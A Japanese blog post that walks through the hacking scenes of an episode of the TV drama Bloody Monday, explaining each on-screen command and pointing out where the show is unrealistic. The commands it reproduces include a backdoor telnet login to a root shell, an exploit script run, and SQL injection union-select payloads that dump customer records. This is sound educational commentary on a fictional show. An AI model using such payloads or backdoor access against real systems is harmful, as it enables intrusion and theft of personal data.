今回のep06では見どころシーンが色々ありましたよ^^ 最近たくさんのコメントや質問を頂きます。セキュリティに興味のある方は記事の中のヒントを活かしてたくさん検索して知識を身に付けてほしいと思います。僕やセキュリティキャンプ参加者の殆どは独学です。自分でネットで検索して知識を貯めてきました。
それと僕のmixi日記の「あしあと帳」 でも質問を受け付けていますのでCNETのアカウントがない方はmixiからでも^^。
では考察行きます!!これからご覧になる方はネタバレ注意です。
camera_hijack.pl
藤丸はまず建物の頭脳になるべく,施設のセキュリティシステムに侵入します。
最初に無線LANに接続します。このとき
Selectec interface 'wlan0'
Interactive mode
> set_network 0 identity "gaius_vlan"
OK
> set_network 0 password "Gai2uo6a"
OK
> reconnect
OK
何故か都合よく無線LANのアクセスポイントのパスワードなどを知っています。きっと画面はありませんが,WEPを解析したんでしょうね^^
そのあとに,ポートスキャンを掛けます。
空いているポートは
22:Open. SSH-1.5-CUSTOM.1
445:Open. Sabma 3.0.29
4444:Open. Backdoor?
でした。
4444番ポートは既にテロリスト側がバックドアを開け,接続中だと思います。藤丸もその空いてるポートを見つけます。
ここで,都合よく持っているカメラのハイジャックスクリプト。
多分自IPアドレス(172.16.25.25)をカメラの制御サーバーに登録してカメラだと見せかけているのでしょう。(Perlスクリプトが出ないのでいまいちわかりません。)
ブラッディ・マンデイでPerlスクリプトが登場するのは今回が初めてですね^^
> falcon# camera_hijack.pl register 172.16.25.25
Setting up camera as 172.16.25.25
Setup request from control server (172.16.0.2)
Setup request(dup!) from control server (172.16.25.20).
falcon# telnet 172.16.0.2 4444
Trying 172.16.0.2...
Connected to 172.16.0.2.
Escape character is '^]'.
sh-2.03#
すでにテロリストたちが開けてくれたバックドアでファルコンは手を汚す事なく侵入できました。
侵入できると何故か施設全部のPCがファルコン仕様になります^^ これは演出なので・・・というしかないですね。
netstat -an | grep 4444
で,4444番ポートに接続中のコンピュータの一覧を表示できます。 これでテロリスト側のIPアドレスが取得できています。
今度はファルコンがテロリスト側にクラックを仕掛けます。 テロリスト側は必死に「tcpkill」コマンドでTCPセッションを切断しようとしますが,なかなか接続を解除できないようです><
接続中のセッションは「Scan from 210.174.204.115」のリストで表示されています。必死に「tcpkill」で戦っているときに天才が現れます。
そう,電源を抜いた女です。彼女は天才だと思いますよ(笑)
藤丸側には 「Connection Timeout」や「no response.」で応答がない事が表示されています。
J「この短時間にファルコンはドコから侵入してきたのぉ?」
に対し,テロリストクラッカーは
「セキュリティの甘いネットワークプリンタから……」と云います。
ネットワークプリンタからは侵入できない気がします(笑)
プリンタサーバーになら良くリモートからrootを奪える脆弱性があるのですが,プリンタ自体からは……ネットワークプリンタには組み込みの高機能なファームウェアが入ってたりする場合もあるのでそれを経由して攻撃するとかですね。しかし今回の場合は無線LANで侵入し,netstatで取得したテロリスト側IPアドレスをターゲットにして攻撃している為,プリンタからの攻撃でないのは明らかです。つまり,テロリスト側クラッカーが間違った事を(Jをなんとか納得させる為に適当に?)云ってます。
Jも「へぇ〜,そんなことができるんだぁ?っふ」と見透かしたように言い放ちます。
そして次のシーンで映し出されるネットワークプリンタ・・・。だからこれが原因じゃないんですって。
テロリスト側がもう一度セキュリティシステムに入ろうとしますが,藤丸のファイアウォールの所為で侵入できないようです。
telnet 210.174.204.115 4444
Trying 210.174.204.115...
telnet: Unable to connect to remote host: Network is unreachable
nmap 210.174.204.115
Note: Host seems down. If it is really up, but blocking our ping probes, try -PN
Nmap done: 1 IP address (0 hosts up) scanned in 0.032 seconds
普通はこんなにはやくnmapコマンドが完了する事はありません。
Ctl+Cでkillすると「caught SIGINT signal, cleaning up」なんて出てしまいます。
これはこの演出をしたい為にPCのネットワークインターフェイスにブロードキャストを設定しているのだと思います。
「ifconfig eth0:0 210.174.204.113/30」などとしてブロードキャストアドレスに210.174.204.115をセットすると再現できます。ブロードキャストアドレスに設定されているのでnmapもすぐに終了し,なにも応答しないという同じ結果が得られます。
ブロードキャストでないと「unreachable」とは表示されません。
perl xpl/30288.pl 210.174.204.115
Setting up fake server...ok
connecting 210.174.204.115...FAILED. Network is unreachable
です。fake serverなので偽装しようとしてるみたいですけど,結局ブロードキャストアドレスのままなのでドコにも接続できませんよね。まぁ「接続できない!」という演出です^^
また,最初4444番ポートをみて,「MS-Blast」を思い出しました。
BlasterウィルスはWindowsの135番ポートで動いているRPCに対してバッファオーバーフローさせる攻撃を仕掛けます。このときRPCは管理者権限で動いているので任意のコードやプログラムが実行可能になります。そしてBlasterはTCP4444番ポートで次のコマンドの待機をさせます。続いてBlasterウイルスは4444番ポートを使って,ウイルス本体である「msblast.exe」をTFTP(簡易なFTP)で受け取るように,攻撃対象のWindowsマシンにコマンドを送ります。最後に,4444番ポート経由でmsblast.exeを起動して感染する手順でした。でも今回のバックドアはきっと違うものです。たまたま4444番が重なっただけっという感じでしょう^^
敷村教授のパソコン
mntfs /dev/hda1 /mnt
でマウントします。
いや,普通に「mntfs」ってコマンドはなく,多分mount_ntfsとかのエイリアスなんだと思います。
usb$cd /mnt
/mntに移動しました。
usb$find -name BX*
でBXから始まるファイル名を検索します。なんですぐにBXから始まると分かったか謎ですね。
./Documents and Settings/Shikimura/Data/BX_0330.txt
^C
結果が1件表示された時点で^Cでプロセスを終了しています。
usb$
usb$ cd Documents\ and\ Settings/Shikimura/Data
usb$ ls -la
usb$ less BX_0330.txt
BX_0330.txtを読みますが工作されていますね。
実はこのBX_0330.txtはNTFSの機能である複数のストリームを所有できます。一つのファイルに複数のファイルを個別化して保持させる事ができます。
エクスプローラなどでは一つのファイルに見えますが実は別なファイルを埋め込んでおく事も可能なのです。
今回の場合BX_0330.txtには少なくとも3ストリーム以上存在します。
主ストリームであるBX_0330.txt(無名ストリーム),副次ストリームであるBX_0330.txt:comments.txt,同じく副次ストリームのBX_0330.txt:code.zipです。
ストリームはファイル名の次に「:(コロン)」を付けてストリーム名を続けると呼び出せます。
藤丸はこの隠されたファイルをよく見つけたものです(笑)
getfattr -n ntfs.streams.list -R . | grep -B1 list=〜(以降読めず)
で連結されたストリームを取得しています
ちなみにBX_0330.txt:comments.txtにはsnowdropコマンドでプレインテキストが透かし処理されていて普通には読めません。(普通はsnowdropなのですが,ここでもエイリアスが張ってあるのか,snowコマンドになっています。)
lessで読めなかった「BX_0330.txt:comments.txt」もsnowコマンドで読めました。
usb$ snow BX_0330.txt:comments.txt
d_code@Shikimura
これは多分BX_0330.txt:code.zipの解凍パスワードです。
次に藤丸が
usb$ unzip BX_0330.txt:code.zip -d /tmp
でcode.txtを解凍しています。
敷村教授が何故ここまでデータ隠蔽の技術を持っているのかが謎です。
SQLインジェクション
最近とても多い攻撃にSQLインジェクションがあります。
藤丸もSQLインジェクションでメーカのデータベースの中身を呼び出して製造番号から所有者を調べています。
今回の場合はXSS脆弱性のチェックはスキップしていますね。
Code/webscan http://support.h-paso.com/ --skip-xss
Scanning search engines...Found 213 known endpoints.
Crawling *.h-paso.com
Skipping XSS scan.
Scanning for SQL...
found NUMERIC type injection in http://support-db.h-paso.com/redirect.do?l=3 === /redirect.do?l=4-1
Location: https://internal.h-paso.com/login.do
Use as target? y
>>> s.out_pat=re.compile(r'Location (.+)r')
>>> s.analyze()
Analyzing 1 ' parameter..Injection needs 3 columns. 2nd is in output,CHAR() wrapper needed,
login
sales
customer\^CInterrupted.
>>> s.tblinfo('customer')
Enumerating columns:
`address`, `serial`, `name` , `user_id` \
>>> s.dump_table(table='customer',cols=['name','serial','address'],limit=10)
l=1 and 1=0/**/union/**/select 1,name+char(255)+serial+char(255)+address,3 from customer limit %d,1
Limit reached.
>>> s.dump_table( table='customer' ,cols=['name','serial','address'], where="serial='S/N 046946A'")
l=1 and 1=0/**/union/**/select 1,name+char(255)+serial+char(255)+address,3 from customer where serial=char(83,47,78,32,48,52,54,57,52,54,65)
Querying ...
で無事に(?)製造番号から所有者が割り出せました。
上のコマンドは殆どがSQL構文です。WebアプリケーションがPOSTされた値をそのままSQL文に代入してしまう事によって発生するSQLインジェクションです。一度SQLインジェクションが可能だと分かれば,データベースは攻撃者に掌握されたも同然となります。
まとめ
今回の考察は結構時間がかかりました。またAbelProject副代表のlizanにも記事執筆を協力してもらいました^^ 感謝します。
今回初のPerlスクリプトでましたね。僕はPerl好きなのでうれしいです。笑
それと,別に努力無くしてこういう記事が書けているわけでもありませんし,いままで苦労がなかった訳でもないです。むしろ色々ツライ過去があったりします。(誰でもありますよね)
この記事を読まれてセキュリティに興味を持たれたみなさんも ,努力して技術と知識を集めてください^^ 俺やlizanも楽しみながらも努力する日々です。セキュリティキャンプの参加は人生を変えるきっかけになります。22歳以下の方は是非参加を検討してみてください。キャンプキャラバンということで講師陣が各地方を廻ってキャンプがどんな活動か講義を交えて紹介しています。それではvv